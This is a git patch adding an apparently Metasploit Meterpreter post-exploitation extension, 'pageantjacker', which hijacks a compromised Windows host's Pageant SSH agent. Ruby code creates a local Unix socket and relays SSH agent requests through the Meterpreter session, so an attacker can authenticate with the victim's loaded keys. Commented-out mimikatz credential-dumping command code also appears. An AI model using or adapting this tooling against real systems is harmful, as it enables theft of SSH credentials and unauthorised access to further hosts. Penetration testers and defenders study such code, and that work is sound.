From c8174119bfd0fa54fae5531af872dbeac77cca3f Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Fri, 15 May 2015 11:29:20 +0100 Subject: [PATCH] Initial working pageant extension --- .../extensions/pageantjacker/pageantjacker.rb | 79 +++++++++ .../extensions/pageantjacker/tlv.rb | 18 ++ .../command_dispatcher/pageantjacker.rb | 165 ++++++++++++++++++ 3 files changed, 262 insertions(+) create mode 100644 lib/rex/post/meterpreter/extensions/pageantjacker/pageantjacker.rb create mode 100644 lib/rex/post/meterpreter/extensions/pageantjacker/tlv.rb create mode 100644 lib/rex/post/meterpreter/ui/console/command_dispatcher/pageantjacker.rb diff --git a/lib/rex/post/meterpreter/extensions/pageantjacker/pageantjacker.rb b/lib/rex/post/meterpreter/extensions/pageantjacker/pageantjacker.rb new file mode 100644 index 0000000000..56a179e466 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/pageantjacker/pageantjacker.rb @@ -0,0 +1,79 @@ +# -*- coding: binary -*- + +require 'rex/post/meterpreter/extensions/pageantjacker/tlv' + +module Rex +module Post +module Meterpreter +module Extensions +module Pageantjacker + +### +# +# PageantJacker extension - Hijack and interact with Pageant +# +# Stuart Morgan +# +### + +class Pageantjacker < Extension + + def initialize(client) + super(client, 'pageantjacker') + + client.register_extension_aliases( + [ + { + 'name' => 'pageantjacker', + 'ext' => self + }, + ]) + end + + def forward_to_pageant(blob,size) + return unless size > 0 + return unless blob.size > 0 + puts "Request indicated size: #{size}" + parse_blob(blob) + + packet_request = Packet.create_request('pageant_send_query') + packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANTJACKER_SIZE_IN, size) + packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANTJACKER_BLOB_IN, blob) + + response = client.send_request(packet_request) + response_success = response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANTJACKER_STATUS) + returned_blob = response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANTJACKER_RETURNEDBLOB) + error = response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANTJACKER_ERRORMESSAGE) + + puts "Response success: #{response_success}, Response error #{error}" + parse_blob(returned_blob) + + if response_success +# puts "Received successful response: #{returned_blob.size}" +# puts "Error is: #{error}" +# puts returned_blob.unpack('NCH*') + return returned_blob + else +# puts "Received error message: #{error}" + return nil + end + + return nil + end + + def parse_blob(blob) + b = blob.unpack('NCH*') + puts " blob size #{blob.size}" + puts " blob data (20 chars: #{blob.unpack('H20').first}" + puts " ssh packet size: #{b[0]}" + puts " ssh type: #{b[1]}" + puts " ssh data: #{b[2]}" + end + + def stop_listening + end + +end + +end; end; end; end; end + diff --git a/lib/rex/post/meterpreter/extensions/pageantjacker/tlv.rb b/lib/rex/post/meterpreter/extensions/pageantjacker/tlv.rb new file mode 100644 index 0000000000..2978313275 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/pageantjacker/tlv.rb @@ -0,0 +1,18 @@ +# -*- coding: binary -*- +module Rex +module Post +module Meterpreter +module Extensions +module Pageantjacker + +TLV_TYPE_EXTENSION_PAGEANTJACKER_STATUS = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 1) +TLV_TYPE_EXTENSION_PAGEANTJACKER_ERRORMESSAGE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 2) +TLV_TYPE_EXTENSION_PAGEANTJACKER_RETURNEDBLOB = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 3) +TLV_TYPE_EXTENSION_PAGEANTJACKER_SIZE_IN = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 4) +TLV_TYPE_EXTENSION_PAGEANTJACKER_BLOB_IN = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 5) + +end +end +end +end +end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/pageantjacker.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/pageantjacker.rb new file mode 100644 index 0000000000..326ddcc6e6 --- /dev/null +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/pageantjacker.rb @@ -0,0 +1,165 @@ +# -*- coding: binary -*- +require 'rex/post/meterpreter' + +module Rex +module Post +module Meterpreter +module Ui + +require 'tmpdir' + +### +# +# PageantJacker extension - Hijack Pageant +# +### +class Console::CommandDispatcher::PageantJacker + + Klass = Console::CommandDispatcher::PageantJacker + + include Console::CommandDispatcher + + def initialize(shell) + super + end + + # if (client.platform =~ /x86/) and (client.sys.config.sysinfo['Architecture'] =~ /x64/) + # print_line + # print_warning "Loaded x86 PageantJacker on an x64 architecture." + # end + #end + + # + # List of supported commands. + # + def commands + { + "start_pageant_forwarding" => "Create a local socket and forward all requests to the remote Pageant", + } + end + + def cmd_start_pageant_forwarding(*args) + sockpath = "#{::Dir::Tmpname.tmpdir}/#{::Dir::Tmpname.make_tmpname('pageantjacker', 5)}" + sockpath = "/tmp/parp" + ::File.delete sockpath + if ::File.exists?(sockpath) + print_line("Your requested socket (#{sockpath}) already exists. Remove it or choose another path and try again.") + return + end + + ::UNIXServer.open(sockpath) {|serv| + print_line("Launched listening socket on #{sockpath}.") + print_line("Set your SSH_AUTH_SOCK variable to #{sockpath} (export SSH_AUTH_SOCK=\"#{sockpath}\"") + print_line("Now use any tool normally (e.g. ssh-add)") + + loop { + s = serv.accept + loop { + socket_request_data = s.recvfrom(8192) + break if socket_request_data.nil? || socket_request_data.first.nil? || socket_request_data.first.empty? + + #puts socket_request_data.first.inspect + #puts socket_request_data.first.unpack('NCH*') + + #puts 'Request' + response_data = client.pageantjacker.forward_to_pageant(socket_request_data.first, socket_request_data.first.size) + + if !response_data.nil? + #puts "Response Data\n" + #resp = response_data.unpack('NCH*') + #puts "resp size #{resp[0]} resp type: #{resp[1]} actual_size #{resp[2].size+5}" + #puts "resp #{resp[2].unpack('H*').first}" + s.send response_data,0 + end + } + } + } + + if ::File.exists?(sockpath) + print_line("Cleaning up; removing #{sockpath}") + ::File.delete(sockpath) + else + print_line("Unable to remove socket #{sockpath}") + end + end + + +# @@command_opts = Rex::Parser::Arguments.new( +# "-f" => [true, "The function to pass to the command."], +# "-a" => [true, "The arguments to pass to the command."], +# "-h" => [false, "Help menu."] +# ) +# +# def cmd_mimikatz_command(*args) +# if (args.length == 0) +# args.unshift("-h") +# end +# +# cmd_args = nil +# cmd_func = nil +# arguments = [] +# +# @@command_opts.parse(args) { |opt, idx, val| +# case opt +# when "-a" +# cmd_args = val +# when "-f" +# cmd_func = val +# when "-h" +# print( +# "Usage: mimikatz_command -f func -a args\n\n" + +# "Executes a mimikatz command on the remote machine.\n" + +# "e.g. mimikatz_command -f sekurlsa::wdigest -a \"full\"\n" + +# @@command_opts.usage) +# return true +# end +# } +# +# unless cmd_func +# print_error("You must specify a function with -f") +# return true +# end +# +# if cmd_args +# arguments = cmd_args.split(" ") +# end +# +# print_line client.mimikatz.send_custom_command(cmd_func, arguments) +# end +# +# def mimikatz_request(provider, method) +# print_status("Retrieving #{provider} credentials") +# accounts = method.call +# +# table = Rex::Ui::Text::Table.new( +# 'Header' => "#{provider} credentials", +# 'Indent' => 0, +# 'SortIndex' => 4, +# 'Columns' => +# [ +# 'AuthID', 'Package', 'Domain', 'User', 'Password' +# ] +# ) +# +# accounts.each do |acc| +# table << [acc[:authid], acc[:package], acc[:domain], acc[:user], (acc[:password] || "").gsub("\n","")] +# end +# +# print_line table.to_s +# +# return true +# end + + # + # Name for this dispatcher + # + def name + "PageantJacker" + end +end + +end +end +end +end +